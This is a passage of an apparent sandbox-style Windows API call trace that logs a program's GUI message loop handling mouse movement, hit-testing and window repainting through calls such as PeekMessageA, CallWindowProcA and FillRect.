GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.060] GetCurrentProcessId () returned 0x8d0 [0264.060] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.060] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.060] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xae008c) returned 0x0 [0264.060] GetKeyState (nVirtKey=18) returned 1 [0264.060] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.060] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=787, y=524)) returned 1 [0264.060] WindowFromPoint (Point=0x314) returned 0x10344 [0264.061] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x20b0314) returned 0x1 [0264.061] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.061] GetCurrentProcessId () returned 0x8d0 [0264.061] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.061] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.061] GetCapture () returned 0x0 [0264.061] WaitMessage () returned 1 [0264.079] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.079] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.081] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.081] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.081] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x216031d) returned 0x1 [0264.081] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=797, y=534)) returned 1 [0264.082] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.082] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.082] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.082] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.082] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.082] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.082] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.082] GetCapture () returned 0x0 [0264.082] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.082] WindowFromPoint (Point=0x31d) returned 0x10344 [0264.083] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x216031d) returned 0x1 [0264.083] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.083] GetCurrentProcessId () returned 0x8d0 [0264.083] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.083] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.083] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xb80096) returned 0x0 [0264.083] GetKeyState (nVirtKey=18) returned 1 [0264.083] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.083] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=797, y=534)) returned 1 [0264.083] WindowFromPoint (Point=0x31d) returned 0x10344 [0264.083] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x216031d) returned 0x1 [0264.083] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.083] GetCurrentProcessId () returned 0x8d0 [0264.083] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.084] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.084] GetCapture () returned 0x0 [0264.084] WaitMessage () returned 1 [0264.092] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.092] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2200327) returned 0x1 [0264.092] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=807, y=544)) returned 1 [0264.092] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.092] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.092] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.092] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.092] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.094] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.094] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.094] GetCapture () returned 0x0 [0264.094] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.094] WindowFromPoint (Point=0x327) returned 0x10344 [0264.094] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2200327) returned 0x1 [0264.094] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.094] GetCurrentProcessId () returned 0x8d0 [0264.094] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.094] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.095] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xc200a0) returned 0x0 [0264.095] GetKeyState (nVirtKey=18) returned 1 [0264.095] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.095] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=807, y=544)) returned 1 [0264.095] WindowFromPoint (Point=0x328) returned 0x10344 [0264.095] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x21d0328) returned 0x1 [0264.095] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.095] GetCurrentProcessId () returned 0x8d0 [0264.095] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.095] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.095] GetCapture () returned 0x0 [0264.095] WaitMessage () returned 1 [0264.108] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.108] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x22a0331) returned 0x1 [0264.108] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=817, y=554)) returned 1 [0264.109] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.109] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.109] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.109] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.109] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.109] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.109] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.109] GetCapture () returned 0x0 [0264.109] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.109] WindowFromPoint (Point=0x331) returned 0x10344 [0264.109] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x22a0331) returned 0x1 [0264.109] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.109] GetCurrentProcessId () returned 0x8d0 [0264.109] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.109] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.109] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xcc00aa) returned 0x0 [0264.109] GetKeyState (nVirtKey=18) returned 1 [0264.109] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.109] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=817, y=554)) returned 1 [0264.110] WindowFromPoint (Point=0x32f) returned 0x10344 [0264.110] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x22c032f) returned 0x1 [0264.110] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.110] GetCurrentProcessId () returned 0x8d0 [0264.110] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.110] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.110] GetCapture () returned 0x0 [0264.110] WaitMessage () returned 1 [0264.119] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.119] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2340335) returned 0x1 [0264.119] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=821, y=564)) returned 1 [0264.120] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.120] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.120] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.120] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.120] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.120] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.120] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.120] GetCapture () returned 0x0 [0264.120] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.120] WindowFromPoint (Point=0x335) returned 0x10344 [0264.120] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2340335) returned 0x1 [0264.120] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.120] GetCurrentProcessId () returned 0x8d0 [0264.120] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.120] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.120] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xd600ae) returned 0x0 [0264.120] GetKeyState (nVirtKey=18) returned 1 [0264.120] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.121] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=564)) returned 1 [0264.121] WindowFromPoint (Point=0x335) returned 0x10344 [0264.121] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2340335) returned 0x1 [0264.121] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.121] GetCurrentProcessId () returned 0x8d0 [0264.121] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.121] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.121] GetCapture () returned 0x0 [0264.121] WaitMessage () returned 1 [0264.140] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.140] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23e0335) returned 0x1 [0264.140] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=821, y=574)) returned 1 [0264.140] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0264.140] PtInRect (lprc=0x18fc68, pt=0x15e) returned 1 [0264.140] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0264.141] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.141] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.141] GetCapture () returned 0x0 [0264.141] PtInRect (lprc=0x18fd3c, pt=0x15e) returned 1 [0264.141] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcf4 | out: lpPoint=0x18fcf4) returned 1 [0264.141] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.141] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23e0335) returned 0x1 [0264.141] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fcd4 | out: lpdwProcessId=0x18fcd4) returned 0x8cc [0264.141] GetCurrentProcessId () returned 0x8d0 [0264.141] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.141] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcd8 | out: lpPoint=0x18fcd8) returned 1 [0264.141] PtInRect (lprc=0x18fccc, pt=0x15e) returned 1 [0264.141] GetKeyState (nVirtKey=18) returned 1 [0264.141] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.141] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=574)) returned 1 [0264.141] WindowFromPoint (Point=0x333) returned 0xc0060 [0264.141] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2400333) returned 0x1 [0264.142] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.142] GetCurrentProcessId () returned 0x8d0 [0264.142] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.142] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.142] PtInRect (lprc=0x18fed0, pt=0x15c) returned 0 [0264.142] GetCapture () returned 0x0 [0264.142] WaitMessage () returned 1 [0264.153] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.153] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2480335) returned 0x1 [0264.153] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=821, y=584)) returned 1 [0264.153] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0264.153] PtInRect (lprc=0x18fc68, pt=0x15e) returned 0 [0264.153] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0264.154] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.154] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.154] GetCapture () returned 0x0 [0264.154] PtInRect (lprc=0x18fd3c, pt=0x15e) returned 0 [0264.154] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0264.154] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.154] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2480335) returned 0x1 [0264.154] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0264.154] GetCurrentProcessId () returned 0x8d0 [0264.154] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.154] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0264.154] PtInRect (lprc=0x18fd08, pt=0x15e) returned 0 [0264.154] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x143015e) returned 0x0 [0264.154] GetKeyState (nVirtKey=18) returned 1 [0264.154] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.154] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=584)) returned 1 [0264.154] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.154] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2480335) returned 0x1 [0264.155] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.155] GetCurrentProcessId () returned 0x8d0 [0264.155] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.155] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.155] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0264.155] GetCapture () returned 0x0 [0264.155] WaitMessage () returned 1 [0264.171] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.171] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.171] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.171] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.171] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=584)) returned 1 [0264.171] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.171] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2480335) returned 0x1 [0264.171] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.171] GetCurrentProcessId () returned 0x8d0 [0264.171] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.171] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.171] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0264.171] GetCapture () returned 0x0 [0264.171] WaitMessage () returned 1 [0264.202] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2520335) returned 0x1 [0264.202] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=821, y=594)) returned 1 [0264.202] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0264.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.202] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.202] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.202] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.202] GetCapture () returned 0x0 [0264.202] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0264.202] WindowFromPoint (Point=0x335) returned 0x10340 [0264.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2520335) returned 0x1 [0264.202] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0264.202] GetCurrentProcessId () returned 0x8d0 [0264.203] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.203] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0264.203] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x60017) returned 0x0 [0264.203] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0264.203] GetCurrentProcessId () returned 0x8d0 [0264.203] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.203] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0264.203] GetKeyState (nVirtKey=18) returned 1 [0264.203] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.203] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.203] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.203] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.203] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0264.203] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0264.204] IsIconic (hWnd=0xc0060) returned 0 [0264.204] IsIconic (hWnd=0xc0060) returned 0 [0264.204] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.204] FillRect (hDC=0x1f0107d7, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.204] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x1f0107d7, lParam=0x4) returned 0x0 [0264.204] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x1f0107d7, lParam=0x10340) returned 0xe100186 [0264.204] GetSysColor (nIndex=8) returned 0x0 [0264.204] SetTextColor (hdc=0x1f0107d7, color=0x0) returned 0x0 [0264.204] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.204] SetBkColor (hdc=0x1f0107d7, color=0xf0f0f0) returned 0xffffff [0264.204] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.204] GetCurrentProcessId () returned 0x8d0 [0264.204] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.205] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.205] GetCurrentProcessId () returned 0x8d0 [0264.205] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.205] IsIconic (hWnd=0xc0060) returned 0 [0264.205] IsIconic (hWnd=0xc0060) returned 0 [0264.205] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.205] FillRect (hDC=0x3901069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.206] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3901069e, lParam=0x4) returned 0x0 [0264.206] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3901069e, lParam=0x10340) returned 0xe100186 [0264.206] GetSysColor (nIndex=8) returned 0x0 [0264.206] SetTextColor (hdc=0x3901069e, color=0x0) returned 0x0 [0264.206] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.206] SetBkColor (hdc=0x3901069e, color=0xf0f0f0) returned 0xffffff [0264.206] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.206] GetCurrentProcessId () returned 0x8d0 [0264.206] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.206] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: 